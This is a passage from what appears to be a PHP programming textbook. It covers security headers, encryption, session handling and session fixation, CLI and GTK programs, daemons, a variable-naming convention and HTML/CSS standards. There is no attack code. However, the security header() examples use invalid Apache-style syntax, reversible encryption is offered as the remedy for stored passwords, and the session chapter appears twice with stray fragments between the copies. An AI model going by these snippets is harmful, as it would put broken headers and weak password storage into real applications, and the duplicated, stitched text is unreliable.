To avoid to be the target of the security breaches linked to a PHP or a web server version, it's better to hide them in the HTTP headers.

This is generally done in the server configuration files, but can also be realized in PHP:

```
ini_set('expose_php', 'Off');
header('X-Powered-By: UnknownWebServer');
```

54.2 Other attacks

The HTTP header injection[2] can be prevented by configuration.

Example of protections:

```
ini_set('register_globals', 'Off');

header('Content-Security-Policy "default-src \'self\'; style-src \'self\'
 \'unsafe-inline\'; script-src \'self\' \'unsafe-inline\'; img-src \'self\'
 data:"');
header('X-Frame-Options "SAMEORIGIN" always');
header('X-Content-Type-Options nosniff');
header('Referrer-Policy: origin');
header('Permissions-Policy "geolocation=(),midi=(),sync-xhr=(),micro
phone=(),camera=(),magnetometer=(),gyroscope=(),fullscreen=(self),payment=()"');
```

Attention: a bad configuration can provoke cross-origin resource sharing[3] (CORS) errors.

1 https://en.wikipedia.org/wiki/HTTP_header
2 https://en.wikipedia.org/wiki/HTTP_header_injection
3 https://en.wikipedia.org/wiki/cross-origin_resource_sharing

55 Encryption

PHP provides several functions to encrypt data.

55.1 Symmetrical encryption

Storing passwords in clear (unencrypted), in a file or a database, constitutes a security breach. To be able to encrypt and decrypt them, a symmetrical encryption[1] can be done by:

- `openssl_encrypt()`[1]
- `openssl_decrypt()`

55.2 Asymmetrical encryption

The asymmetrical encryption[2] est used to check an identity, via a public and a private key. In PHP, it's done with:

- `openssl_public_encrypt()`[2]
- `openssl_private_decrypt()`

55.3 Hashing

crypt()[3] is a hash function[3] for a string, which can add a salt[4] as an optional second parameter.

55.4 References

1. [5]
2. [6]
3. [7]

1 https://en.wikipedia.org/wiki/symmetrical_encryption
2 https://en.wikipedia.org/wiki/asymmetrical_encryption
3 https://en.wikipedia.org/wiki/hash_function
4 https://en.wikipedia.org/wiki/Salt_(cryptography)
5 http://php.net/manual/en/function.openssl-encrypt.php
6 https://www.php.net/manual/en/function.openssl-public-encrypt.php
7 http://php.net/manual/en/function.crypt.php

56 More Security

Sessions allow the PHP script to store data on the web server that can be later used, even between requests to different PHP pages. Every session has a different identifier, which is sent to the client's browser as a cookie or as a $_GET variable. Sessions end when the user closes the browser, or when the web server deletes the session information, or when the programmer explicitly destroys the session. In PHP it's usually called **PHPSESSID**. Sessions are very useful to protect the data that the user wouldn't be able to read or write, especially when the PHP developer doesn't want to give out information in the cookies as they are easily readable. Sessions can be controlled by the $_SESSION superglobal. Data stored in this array is persistent throughout the session. It is a simple array. Sessions are much easier to use than cookies, which helps PHP developers a lot. Mostly, sessions are used for user logins, shopping carts and other additions needed to keep browsing smooth. PHP script can easily control the session's cookie which is being sent and control the whole session data. Sessions are always stored in a unique filename, either in a temporary folder or in a specific folder, if a script instructs to do so.

56.1 Using Sessions

At the top of each PHP script that will be part of the current session there must be the function `session_start()`. It must be before the first output (echo or others) or it will result in an error ”Headers already sent out”.

```
session_start();
```

This function will do these actions:

1. it will check the `_COOKIE` or `_GET` data, if it is given
2. if the session file doesn't exist in the `session.save_path` location, it will:
   a) generate a new Unique Identifier, and
   b) create a new file based on that Identifier, and
   c) send a cookie to the client's browser
3. if it does exist, the PHP script will attempt to store the file's data into `_SESSION` variable for further use

Now, you can simply set variables in 2 different ways, the default method:

```
$_SESSION['example'] = "Test";
```

Or the deprecated method:

```
$example="Test";
session_register($example);
```

Both of the above statements will register the session variable `$_SESSION['example']` as "Test". The deprecated method should not be used, it is only listed because you can still see it in scripts written by programmers that don't know the new one. The default method is preferred.

56.1.1 Session Configuration Options

PHP sessions are easy to control and can be made even more secure or less secure with small factors. Here are runtime options that can be easily changed using php_ini() function:

Name	Default	Changeable
session.save_path	"/tmp"	PHP_INI_ALL
session.name	"PHPSESSID"	PHP_INI_ALL
session.save_handler	"files"	PHP_INI_ALL
session.auto_start	"0"	PHP_INI_ALL
session.gc_probability	"1"	PHP_INI_ALL
session.gc_divisor	"100"	PHP_INI_ALL
session.gc_maxlifetime	"1440"	PHP_INI_ALL
session.serialize_handler	"php"	PHP_INI_ALL
session.cookie_lifetime	"0"	PHP_INI_ALL
session.cookie_path	"/"	PHP_INI_ALL
session.cookie_domain	""	PHP_INI_ALL
session.cookie_secure	""	PHP_INI_ALL
session.use_cookies	"1"	PHP_INI_ALL
session.use_only_cookies	"0"	PHP_INI_ALL
session.referer_check	""	PHP_INI_ALL
session.entropy_file	""	PHP_INI_ALL
session.entropy_length	"0"	PHP_INI_ALL
session.cache_limiter	"nocache"	PHP_INI_ALL
session.cache_expire	"180"	PHP_INI_ALL
session.use_trans_sid	"0"	PHP_INI_SYSTEM/PHP_INI_PERDIR
session.bug_compat_42	"1"	PHP_INI_ALL
session.bug_compat_warn	"1"	PHP_INI_ALL
session.hash_function	"0"	PHP_INI_ALL
session.hash_bits_per_character	"4"	PHP_INI_ALL
url_rewriter.tags	"a=href,area=href,frame=src,input=src,form=fakeentry"	PHP_INI_ALL

A simple example of this use would be this code:

```
//Setting The Session Saving path to "sessions", '''must be protected from
reading'''
session_save_path("sessions"); // This function is an alternative to
ini_set("session.save_path","sessions");
//Session Cookie's Lifetime ( not effective, but use! )
ini_set("session.cookie_lifetime",time()+60*60*24*500);
//Change the Session Name from PHPSESSID to SessionID
session_name("SessionID");
//Start The session
session_start();
//Set a session cookie ( Required for some browsers, as settings that had been
done before are not very effective
setcookie(session_name(), session_id(), time()+3600*24*365, "/");
```

This example simply sets the cookie for the next year.

56.1.2 Ending a Session

When user clicks ”Logout”, or ”Sign Off”, you would usually want to destroy all the login data so nobody could have access to it anymore. The session file will be simply deleted as well as the cookie to be unset by:

```
session_destroy();
```

56.1.3 Using Session Data of Other Types

Simple data such as integers, strings, and arrays can easily be stored in the $_SESSION superglobal array and be passed from page to page. But problems occur when trying to store the state of an object by assignment. Object state can be stored in a session by using the serialize() function. serialize() will write the objects data into an array which then can be stored in a $_SESSION supergloblal. unserialize() can be used to restore the state of an object before trying to access the object in a page that is part of the current session. If objects are to be used across multiple page accesses during a session, the object definition must be defined before calling unserialize(). Other issues may arise when serializing and unserializing objects.

56.2 Avoiding Session Fixation

> Wikipedia[1] has related information at ***Session fixation***[2]

Session fixation describes an attack vector in which a malicious third-party sets (i.e. *fixes*) the session identifier (SID) of a user, and is thus able to access that user's session. In the base-level implementation of sessions, as described above, this is a very real vulnerability, and every PHP program that uses sessions for anything at all sensitive should take steps to remedy it. The following, in order of how widely applicable they are, are the measures to take to prevent session fixation:

1. Do not use GET or POST variables to store the session ID (under most PHP configurations, a cookie is used to store the SID, and so the programmer doesn't need to do anything to implement this);
2. Regenerate the SID on each user request (using `session_regenerate_id()`[3] at the *beginning* of the session);
3. Use session time-outs: for each user request, store the current timestamp, and on the next request check that the timeout interval has not passed;
4. Provide a logout function;
5. Check the 'browser fingerprint' on each request. This is a hash, stored in a `$_SESSION` variable, comprising some combination of the user-agent header, client IP address, a salt value, and/or other information. See below for more discussion of the details of

1 https://en.wikipedia.org/wiki/
2 https://en.wikipedia.org/wiki/Session_fixation
3 http://php.net/manual/en/function.session-regenerate-id.php

this; it is thought by some to be nothing more than 'security through obscurity'. [TODO]

6. Check referrer: this does not work for all systems, but if you know that users of your site *must* be coming from some known domain you can discard sessions tied to users from elsewhere. It relies on the user agent providing the referrer header, which should not be assumed.

This example code addresses all of the above points save the referrer check.

```
$timeout = 3 * 60; // 3 minutes
$fingerprint = md5('SECRET-SALT'.$_SERVER['HTTP_USER_AGENT']);
session_start();
if ( (isset($_SESSION['last_active']) && (time() >
 ($_SESSION['last_active']+$timeout)))
     || (isset($_SESSION['fingerprint']) &&
 $_SESSION['fingerprint']!=$fingerprint)
     || isset($_GET['logout']) ) {
    do_logout();
}
session_regenerate_id();
$_SESSION['last_active'] = time();
$_SESSION['fingerprint'] = $fingerprint;
```

The `do_logout()` function destroys the session data and unsets the session cookie.

in the

Sessions allow the PHP script to store data on the web server that can be later used, even between requests to different PHP pages. Every session has a different identifier, which is sent to the client's browser as a cookie or as a $_GET variable. Sessions end when the user closes the browser, or when the web server deletes the session information, or when the programmer explicitly destroys the session. In PHP it's usually called **PHPSESSID**. Sessions are very useful to protect the data that the user wouldn't be able to read or write, especially when the PHP developer doesn't want to give out information in the cookies as they are easily readable. Sessions can be controlled by the $_SESSION superglobal. Data stored in this array is persistent throughout the session. It is a simple array. Sessions are much easier to use than cookies, which helps PHP developers a lot. Mostly, sessions are used for user logins, shopping carts and other additions needed to keep browsing smooth. PHP script can easily control the session's cookie which is being sent and control the whole session data. Sessions are always stored in a unique filename, either in a temporary folder or in a specific folder, if a script instructs to do so.

56.3 Using Sessions

At the top of each PHP script that will be part of the current session there must be the function `session_start()`. It must be before the first output (echo or others) or it will result in an error ”Headers already sent out”.

```
session_start();
```

This function will do these actions:

1. it will check the `_COOKIE` or `_GET` data, if it is given
2. if the session file doesn't exist in the `session.save_path` location, it will:
   a) generate a new Unique Identifier, and
   b) create a new file based on that Identifier, and
   c) send a cookie to the client's browser
3. if it does exist, the PHP script will attempt to store the file's data into `_SESSION` variable for further use

Now, you can simply set variables in 2 different ways, the default method:

```
$_SESSION['example'] = "Test";
```

Or the deprecated method:

```
$example="Test";
session_register($example);
```

Both of the above statements will register the session variable `$_SESSION['example']` as "Test". The deprecated method should not be used, it is only listed because you can still see it in scripts written by programmers that don't know the new one. The default method is preferred.

56.3.1 Session Configuration Options

PHP sessions are easy to control and can be made even more secure or less secure with small factors. Here are runtime options that can be easily changed using php_ini() function:

Name	Default	Changeable
session.save_path	"/tmp"	PHP_INI_ALL
session.name	"PHPSESSID"	PHP_INI_ALL
session.save_handler	"files"	PHP_INI_ALL
session.auto_start	"0"	PHP_INI_ALL
session.gc_probability	"1"	PHP_INI_ALL
session.gc_divisor	"100"	PHP_INI_ALL
session.gc_maxlifetime	"1440"	PHP_INI_ALL
session.serialize_handler	"php"	PHP_INI_ALL
session.cookie_lifetime	"0"	PHP_INI_ALL
session.cookie_path	"/"	PHP_INI_ALL
session.cookie_domain	""	PHP_INI_ALL
session.cookie_secure	""	PHP_INI_ALL
session.use_cookies	"1"	PHP_INI_ALL
session.use_only_cookies	"0"	PHP_INI_ALL
session.referer_check	""	PHP_INI_ALL
session.entropy_file	""	PHP_INI_ALL
session.entropy_length	"0"	PHP_INI_ALL
session.cache_limiter	"nocache"	PHP_INI_ALL
session.cache_expire	"180"	PHP_INI_ALL
session.use_trans_sid	"0"	PHP_INI_SYSTEM/PHP_INI_PERDIR
session.bug_compat_42	"1"	PHP_INI_ALL
session.bug_compat_warn	"1"	PHP_INI_ALL
session.hash_function	"0"	PHP_INI_ALL
session.hash_bits_per_character	"4"	PHP_INI_ALL
url_rewriter.tags	"a=href,area=href,frame=src,input=src,form=fakeentry"	PHP_INI_ALL

A simple example of this use would be this code:

```
//Setting The Session Saving path to "sessions", '''must be protected from
reading'''
session_save_path("sessions"); // This function is an alternative to
ini_set("session.save_path","sessions");
//Session Cookie's Lifetime ( not effective, but use! )
ini_set("session.cookie_lifetime",time()+60*60*24*500);
//Change the Session Name from PHPSESSID to SessionID
session_name("SessionID");
//Start The session
session_start();
//Set a session cookie ( Required for some browsers, as settings that had been
done before are not very effective
setcookie(session_name(), session_id(), time()+3600*24*365, "/");
```

This example simply sets the cookie for the next year.

56.3.2 Ending a Session

When user clicks ”Logout”, or ”Sign Off”, you would usually want to destroy all the login data so nobody could have access to it anymore. The session file will be simply deleted as well as the cookie to be unset by:

```
session_destroy();
```

56.3.3 Using Session Data of Other Types

Simple data such as integers, strings, and arrays can easily be stored in the $_SESSION superglobal array and be passed from page to page. But problems occur when trying to store the state of an object by assignment. Object state can be stored in a session by using the serialize() function. serialize() will write the objects data into an array which then can be stored in a $_SESSION superglobla l. unserialize() can be used to restore the state of an object before trying to access the object in a page that is part of the current session. If objects are to be used across multiple page accesses during a session, the object definition must be defined before calling unserialize(). Other issues may arise when serializing and unserializing objects.

56.4 Avoiding Session Fixation

> Wikipedia[4] has related information at ***Session fixation***[5]

Session fixation describes an attack vector in which a malicious third-party sets (i.e. *fixes*) the session identifier (SID) of a user, and is thus able to access that user's session. In the base-level implementation of sessions, as described above, this is a very real vulnerability, and every PHP program that uses sessions for anything at all sensitive should take steps to

4 https://en.wikipedia.org/wiki/
5 https://en.wikipedia.org/wiki/Session_fixation

remedy it. The following, in order of how widely applicable they are, are the measures to take to prevent session fixation:

1. Do not use GET or POST variables to store the session ID (under most PHP configurations, a cookie is used to store the SID, and so the programmer doesn't need to do anything to implement this);
2. Regenerate the SID on each user request (using `session_regenerate_id()`[6] at the *beginning* of the session);
3. Use session time-outs: for each user request, store the current timestamp, and on the next request check that the timeout interval has not passed;
4. Provide a logout function;
5. Check the 'browser fingerprint' on each request. This is a hash, stored in a `$_SESSION` variable, comprising some combination of the user-agent header, client IP address, a salt value, and/or other information. See below for more discussion of the details of this; it is thought by some to be nothing more than 'security through obscurity'. `[TODO]`
6. Check referrer: this does not work for all systems, but if you know that users of your site *must* be coming from some known domain you can discard sessions tied to users from elsewhere. It relies on the user agent providing the referrer header, which should not be assumed.

This example code addresses all of the above points save the referrer check.

```
$timeout = 3 * 60; // 3 minutes
$fingerprint = md5('SECRET-SALT'.$_SERVER['HTTP_USER_AGENT']);
session_start();
if ( (isset($_SESSION['last_active']) && (time() >
 ($_SESSION['last_active']+$timeout)))
     || (isset($_SESSION['fingerprint']) &&
 $_SESSION['fingerprint']!=$fingerprint)
     || isset($_GET['logout']) ) {
    do_logout();
}
session_regenerate_id();
$_SESSION['last_active'] = time();
$_SESSION['fingerprint'] = $fingerprint;
```

The `do_logout()` function destroys the session data and unsets the session cookie.

.

Cross-site request forgery[7] (CSRF)

6 http://php.net/manual/en/function.session-regenerate-id.php
7 https://en.wikipedia.org/wiki/Cross-site_request_forgery

57 PHP Command-Line Interface

Contrary to popular belief, PHP is not just a web server language. PHP can also be used to create *regular* programs. PHP can be used to create GUI applications, shell scripts, and even daemons, among other things.

The boon is that all (or most) of the usual PHP libraries are available to your PHP CLI program too. MySQL, XML, etc. It's all (or mostly) still available.

57.1 Example PHP-CLI Program

Below is an example PHP-CLI program:

<?php print('Hello World'); ?>

If we saved this as "helloworld.php", then we'd run this PHP CLI program via the command:

```
php helloworld.php
```

This would produce the output:

```
Hello World
```

57.2 Difference Between PHP and PHP CLI

There are some important differences between *server-side* PHP and PHP CLI. Here's a list of them:

1. There is no `$_GET` super global array.
2. There is no `$_POST` super global array.
3. There is no `$_COOKIE` super global array.
4. When you do a *print*, the output goes to the *standard output* and not a web browser.
5. You can get *command line arguments* via the `$argv` variable.
6. You can get the *number of command line arguments* via the `$argc` variable.

57.3 Using `argv` and `argc`

Like many programs, it is necessary to access the command line variable used to invoke the program. To do this in PHP we have two variables:

With `register_globals = on;` in the php.ini file one can use:

- `$argv`

- `$argc`

With `register_globals = off;` in the php.ini file one can use:

- `$_SERVER['argv']`
- `$_SERVER['argc']`

(For those know Bash, C or C++ program languages. they'll find these pair of variables to be very familiar)

Below is an program that makes use of the `$argc` and `$argv` variables:

```
<?php
  print('ARGC = ' . $argc ."\n\n");
  foreach ($argv as $k=>$v) {
    print("ARGV[$k] = $v\n");
  }
?>
```

```
<?php
  print('ARGC = ' . $_SERVER['argc'] ."\n\n");
  foreach ($_SERVER['argv'] as $k => $v) {
    print("ARGV[$k] = $v\n");
  }
?>
```

If we save this PHP program as "test1.php", and ran it with:

```
php test1.php apple orange banana pineapple
```

Then we'd get:

```
ARGC = 5

ARGV[0] = test1.php
ARGV[1] = apple
ARGV[2] = orange
ARGV[3] = banana
ARGV[4] = pineapple
```

(Note that like in Bash, C and C++ programs, the first element of `$argv` is the name of the program.)

58 PHP-GTK

This page or section is an undeveloped draft or outline.
You can help to develop the work[1], or you can ask for assistance in the project room[2].

Back to PHP[3]

As you should have already learned in previous sections of this book. PHP is more than just a web server language. It can be used to create GUI applications, shell like scripts, and even daemons, among other things. This chapter focuses on using PHP to create GUI applications using PHP-GTK.

58.1 What is PHP-GTK

PHP-GTK is a GTK+ and GNOME language binding for PHP. That's just a fancy way of saying that PHP-GTK makes it so that GNOME and GTK+ programs can be written using PHP.

You have to have PHP-CLI and GTK installed on your box.

For questions, search or browse this PHP GTK Forum[4] hosted by Nabble[5].

58.2 Example PHP-GTK Program

Below is a very simple PHP-GTK program. It just creates a window that doesn't do anything. In fact, as you'll find out if you run it, this window won't even close if you try to *close it* using the normal means.

```
<?php
  $window = new GtkWindow();
  $window->show_all();
  gtk::main();
?>
```

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming&action=edit
2 https://en.wikibooks.org/wiki/Wikibooks:PROJECTS
3 https://en.wikibooks.org/wiki/PHP_Programming
4 http://www.nabble.com/Php---GTK-f170.html
5 http://www.nabble.com

This is a little more complex than your usual *Hello World program*. But we'll go through it step by step.

The first line:

```
$window = new GtkWindow();
```

creates a new GTK+ window. One thing to note about GTK+ and GNOME programming is that when you create a window it does not automatically get displayed. (That's what the next line does.)

The next line:

```
$window->show_all();
```

displays the newly created window.

The last line:

```
gtk::main();
```

is where all the magic happens with GTK+. For now, just take my word for it that you need to call this to make you GTK+ program *run*.

58.3 External Links

- PHP GTK Forum[6] lots of GTK related topics

Authors Note: This chapter is still un-done. More will be coming later.

6 http://www.nabble.com/Php---GTK-f170.html

59 Daemonization

A daemon[1] is an application that runs in the background, as opposed to being directly operated by the user. Examples of daemons are Cron[2] and MySQL[3].

Daemonizing a process with PHP is very easy, and requires PHP 4.1 or higher compiled with *–enable-pcntl*.

59.1 Building a Daemon

We'll start with *set_time_limit(0)* to let our script run indefinitely. Next, we fork the PHP process with *pcntl_fork()*. Finally, we use *posix_setsid()* to tell the child process to run in the background as a session leader.

```
<?
   set_time_limit(0);   // Remove time limit

   if (pcntl_fork()) {  // Fork process
     print "Daemon running.";
   } else {
     $sid = posix_setsid(); // Make child process session leader

     if ($sid < 0)
            exit;

     while (true) {
                        // Daemon script goes here
     }
   }
?>
```

The code inside the *while* statement will run in the background until *exit* or *die* is explicitly called.

59.2 Applications

While daemonizing a script can be useful, it is not appropiate for every script. If a script only needs to be executed at a certain time, it can take advantage of Cron[4] for scheduled execution.

1 https://en.wikipedia.org/wiki/Daemon_(computer_software)
2 https://en.wikipedia.org/wiki/Cron
3 https://en.wikibooks.org/wiki/MySQL
4 https://en.wikipedia.org/wiki/Cron

59.3 See also

- Nanoserv[5]
- Sonic Server Daemon[6]

5 http://nanoserv.si.kz/
6 http://dev.pedemont.com/sonic/

60 Appendix

61 Alternative Hungarian Notation

Hungarian Notation is a programming language variable naming convention[1]. Since around 1999 when Charles Simonyi, who originated from Hungary, introduced the naming convention[2], some have tried to adapt it to various new programming languages. It helps one not only understand what the variable is for, but the intended data type inside it as well.

For PHP, the **PHP Alternative Hungarian Notation** (or **PAHN**) is an attempt at setting forth a naming convention for PHP based on Hungarian Notation, but in a more simplified format, and one that addresses difference in the PHP language from the one that Simonyi was using.

61.1 Benefits

- By using a naming convention for variables that is different than functions, class methods, or class variable names, it helps make the code more readable so that you don't confuse a variable for a function call, for instance.
- It helps other programmers coming back to your project understand the intent of that variable.
- By sticking to a simple standard like PAHN that is easy to learn, it is one measure (of many) to make the code from several team members look identical. Otherwise, one team member may use one variable naming convention, while another team member may use another.
- There are not a lot of published standards for PHP-based variable naming conventions. By having one set down here, it is one opportunity to settle the issue, and to have a central document on the web to which many can refer.
- Class variables used for model objects, such as $Member, need to stand out more so than $nMember or $sMember, for instance. Using a naming convention helps improve readability for separating the two.
- Imagine we want to delineate that $sMemberID means an ID that may be alphanumeric, while $nMemberID is going to be an integer. If we do $MemberID, you don't pick up on that so easily. So, again, this naming convention improves readability.
- If we were to use $NamesArray, it's more typing than $asNames. Plus, we have no idea with $NamesArray whether it's an array of Names objects, an array of Names' strings, or what. So, again, we can improve readability of the code by using this naming convention.

1 `https://en.wikipedia.org/wiki/Hungarian_notation`
2 `http://msdn2.microsoft.com/en-us/library/aa260976(VS.60).aspx`

61.2 Guidelines

The PAHN variable naming convention begins with a series of prefix characters, followed by a ProperCase variable name. Example:

```
global $gasNames;
$gasNames = $Members->getNames();
```

The *$gasNames* would mean global + array + string, or global array of strings.

The prefixes are:

```
_ = a private class variable
a+ = array (often combined with the data type used inside the array)
c+ = character
s+ = string
o+ = object
d+ = date object -- as in what's returned from a date() or gmdate()
v+ = variant -- used very infrequently to mean any kind of possible variable
 type
i+ = integer -- an integer
f+ = float -- a floating point number, e.g. an integer with a fractional part
n+ = numeric (unknown if it's float, integer, etc. Use infrequently)
x+ = to let other programmers know that this is a variable intended to be used
 by reference rather than value
rs+ = db recordset (set of rows)
rw+ = db row
h+ = handle, as in db handle, file handle, connection handle, curl handle,
 socket handle, etc.
hf = handle to function, as in setRetrievalStrategy(callable $hfStrategy)
t+ = a threaded object, use to indicate that an object may be safe to call\pass
 between threads
g+ = global var (and used sparingly, and often combined with the datatype used
 for the variable)
b+ = boolean
```

Some examples:

```
$oMember -- a Member object
$hFile -- a handle to a file, for instance as passed from the fopen() statement
$cFirst -- first character retrieved from a string
$rsMembers -- records of Members, as returned from a database table
$rwMember -- a single Member record from the database
$bUseNow -- a boolean flag
$sxMemberName -- a byref string variable for a name of a member.
$nCounter -- a numeric counter
$dBegin -- a beginning date
$sFirstName -- a string to represent someone's first name
$_hDB -- a private class variable to store a database connection handle (often
addressed by $this->_hDB)
```

For class variable names, PAHN does not use this prefix. Thus you might see something like:

```
$Members = new Members();
```

For constants, PAHN uses just an uppercase word like MEMBER, and this is often used with only inserting variables in PHP Alternative Syntax[3] or CCAPS[4].

3 https://en.wikipedia.org/wiki/Web_template_system
4 https://en.wikibooks.org/wiki/CCAPS

As for what comes after the prefix, it is preferred to stick with ProperCase, as in $sMemberName rather than $sMEMBERNAME, $sMember_Name, $s_Member_Name, or $smemberName. There are several reasons for this. In the case of $sMEMBERNAME, it would imply that the variable is to be treated like a constant (where uppercasing is often seen), when it is not. In $sMember_Name, it makes for more unnecessary typing, as does $s_Member_Name. And $smemberName runs the s+ prefix against the word "member" and makes for a confusing variable name. Now, saying this, there are some rare exceptions where adding an underscore does help with readability, and in those cases it can be used with PAHN. A good example of this rare exception is with an acronym like FIFO. So, $bFIFOIndicator might be more confusing than $bFIFO_Indicator and the latter would be more preferred.

There is also an exception to this prefix for variables used as loop iterators. Many programmers may be familiar with the short variables: $a, $b, $c, $d, $i, $x, $y, $z used in many textbooks. These are great for when you want to have an iterator variable that you address in a loop and use within arrays. For example:

```
$asMemberNames = array();
for ($i = 1; $i <= 10; $i++) {
  $asMemberNames[$i-1] = $Member->getMemberByID($i);
}
```

Therefore, this exception for loop iterators is allowed because it saves time with less typing, and does not reduce readability.

62 Code Snippets

Code snippets are useful for any beginners to learn code from.

62.1 PHP 4 & 5

62.1.1 Basic Level

- `echo "the text to print";` - This language construct will echo the text between the quotes. This is not a function but a language construct.
- `echo "$var";` - Notice the double quotation marks. Because double quotation marks are used, this will print the **value** of the variable. If $var="Bobby", this will output:

Bobby

- `echo '$var';` - Notice that the quotation marks are now single. This will output the literal keystrokes inside the quotes. The example will output:

$var

- `$var="Jericho";echo "Joshua fit the battle of $var.";` - Other than substituting the value of a variable for the variable name (and one or two other minor items), double quotes will quote literal keystrokes. So this will output:

Joshua fit the battle of Jericho.

Again, if single quotes were used — `'Joshua fit the battle of $var';` — this would output:

Joshua fit the battle of $var.

- `echo $var;` - If you only want to print the value of a variable, you don't need quotes at all. If the value of $var is "1214", the code will output:

1214

- `require "url";` - This language construct will include the page between the quotes. Can NOT be used with dynamic pages, e.g. `require("main.php?username=SomeUser");` would *not* work. This is not a function but a language construct.
- `date("Date/time format");` - Function that returns a date from a Unix Timestamp - where H is the hour, i is the minutes, s is the seconds, d is the day, m is the month and Y is the year in four digits - e.g. `date("H:i:s d/m/Y");` would return `12:22:01 10/08/2006` on 10th August 2006 at 12:22:01.
- `unlink("filename");` - Function that deletes the file specified in *filename*.

62.2 PHP 4

62.2.1 Basic Level

```
<?php
  $variable1 = 'beginning';
  //This is a comment after a variable being defined
  if ($variable1 == 'beginning') {
    //If is a test to see if a variable has certain
    //value and initiates the wanted sequences if true
    echo 'Hello World!';
    //The echo displays to the page
  }
else
{
echo 'some code';
}

?>
```

62.2.2 OOP

Include OOP based examples, made by experienced developer

62.3 PHP 5 Only

62.3.1 Basic Level

Basics, working only on PHP 5.

- `file_put_contents("filename", "Text to save");` - Functions that saves the text specified in *Text to save* to the file specified in *filename*. Will overwrite existing file contents unless another parameter FILE_APPEND is added.

E.g. `file_put_contents("filename", "Text to save");` will write *Text to save* to *filename*, but will overwrite existing text whereas `file_put_contents("filename", "Text to save", FILE_APPEND);` will write *Text to save* to *filename*, but will **not** overwrite existing text (instead it appends).

62.3.2 OOP

1. Input validation[1] by Kgrsajid[2].
2. Advanced Input validation[3] by nemesiskoen.

1 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/OOP5/Input_validation&action=edit&redlink=1
2 https://en.wikibooks.org/wiki/User:Kgrsajid
3 https://en.wikibooks.org/w/index.php?title=User:Dirk_H%C3%BCnniger/PHP_Programming/OOP5/Advanced_Input_validation&action=edit&redlink=1

63 Coding Standards

63.1 Indenting and Line Length

Use an indent of one tab (no spaces! Good IDEs can convert this to pseudo spaces - 2, 4, etc.). If you use Emacs to edit your code, you should set indent-tabs-mode to nil. It is recommended that you break lines at approximately 75-85 characters. There is no standard rule for the best way to break a line; use your judgement. This applies to all file types: PHP, HTML, CSS, JavaScript, etc.

Indentation rules should be applied in the source file that will be edited by others. The visual appeal of HTML output should not be taken into consideration when writing code that generates HTML.

63.2 HTML Standards

63.2.1 Validation

As of September 2006, the DocType on our documents will be XHTML 1.0 Transitional. Therefore, compliant HTML according to the XHTML 1.0 standard should be used at all times. Exceptions should be just that. A good reference for the XHTML elements can be found at DevGuru[1].

Also, to ensure that the box model is done correctly by Internet Explorer 6, we must use the following DocType on all pages. Only this doc type is to be used. No other information should be placed before it.

Example DocType

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
```

63.2.2 Element Usage

When at all possible, try and use standard HTML elements properly. "Div Soup" should be avoided at all times. "Div Soup" refers to HTML where a div (or span) is used when it is not needed. For example, if you need a word to be bolded, do not use a tag and apply a style. Instead, use the tag.

1 http://www.devguru.com/Technologies/xhtml/quickref/xhtml_index.html

Tables should be used only when data needs to be displayed in columns. One cell tables should never be used.

One common exception is needing to use tags in place of <p> tags when the contents of the tag will be other block level elements such as <ul>.

Example HTML

```
<div class="article">
    <h4>this is the headline</h4>
    <p>This is the body with an <strong>important word</strong>.</p>
    <small>Posted 2 days ago</small>
</div>
```

63.3 CSS Standards

Inline styles should be avoided!

Styles in CSS files should be as specific as possible. One should always try to avoid using a bare class name. If you are styling an object that has a container, your style should reference the continer as well as the element being styled. The more verbose your styles in your CSS the less likely you will mess up another element on another page accidentally.

The most efficient way to style an element is by styling that type of element inside a container. If only one element needs to be styled in a special way, it should be assigned and id and styled using the id and preferably a container.

Here is some HTML from our sidebar:

Example Article HTML

```
<div id="sidebar">

    <ul class="blue" id="categories">
        <label><a href="/categories/">Categories</a></label>
        <li class="current"><a
 href="/categories/Computer/39.html">Computer</a></li>
        <li><a href="/categories/Electronics/142.html">Electronics</a></li>
        <li><a href="/categories/Gaming-Toys/186.html">Gaming & Toys</a></li>
        <li><a href="/categories/Office-Supplies/182.html">Office &
 Supplies</a></li>
        <li><a href="/categories/DVDs-Music-Books/178.html">DVDs, Music,
 Books</a></li>
        <li><a href="/categories/Clothing-Accessories/202.html">Clothing &
 Accessories</a></li>
        <li><a href="/categories/Home-Garden/196.html">Home & Garden</a></li>
        <li><a href="/categories/Everything-Else/231.html">Everything
 Else</a></li>
        <li><a href="/categories/Store-Events/40.html">Store Events</a></li>
        <li><a href="http://dealnews.com/coupons/">Coupons</a></li>
        <li><a href="http://
dealnews.com/deals/The-new-dealnews-Gift-Finder-sort-by-price-/101164.html">Gift
 Ideas</a></li>
    </ul>

    <ul class="gray">
        <label>Stores</label>
        <li><a href="/online-stores/Amazon-com/313/">Amazon.com</a></li>
        <li><a href="/online-stores/Buy-com/233/">Buy.com</a></li>
        <li><a
 href="/online-stores/Circuit-City-com/296/">CircuitCity.com</a></li>
        <li><a href="/online-stores/Dell-Home/638/">Dell Home</a></li>
        <li><a href="/online-stores/Best-Buy-com/560/">BestBuy.com</a></li>
        <li><a href="/online-stores/Comp-USA-com/595/">CompUSA.com</a></li>
        <li><a href="/online-stores/Dell-Small-Business/604/">Dell Small
 Business</a></li>
        <li><a href="/online-stores/Newegg-com/504/">Newegg.com</a></li>
        <li><a href="/online-stores/Meritline/303/">Meritline</a></li>
    </ul>

</div>
```

And here is a small bit of how we style those elements.

Example CSS

```
#sidebar ul {
    list-style: none;
    margin: 0 0 15px 0;
    padding: 0 0 4px 0;
}

#sidebar ul label {
    color: White;
    display: block;
    font-weight: bold;
    font-size: 100%;
    margin: 0 0 4px 0;
    padding: 6px 8px 4px 10px;
}

#sidebar ul label a, #sidebar ul label a:visited {
    color: White;
    text-decoration: none;
    display: block;
}

#sidebar ul li {
    font-size: 95%;
    margin: 0 0 4px 0;
    padding: 2px 8px 2px 12px;
}

#sidebar ul li a {
    display: block;
    color: Black;
    text-decoration: none;
}

#sidebar ul.gray {
    background: #DDDDE2 url(
'http://images.dealnews.com/dealnews/backgrounds/sidebar/footer_light_gray.png')
 no-repeat 0 100%;
}

#sidebar ul.gray label {
    color: White;
    background: #75758A url
('http://images.dealnews.com/dealnews/backgrounds/sidebar/header_dark_gray.png')
 no-repeat 0 0;
}

#sidebar ul.blue {
    background: #EBEBFA url(
'http://images.dealnews.com/dealnews/backgrounds/sidebar/footer_light_blue.png')
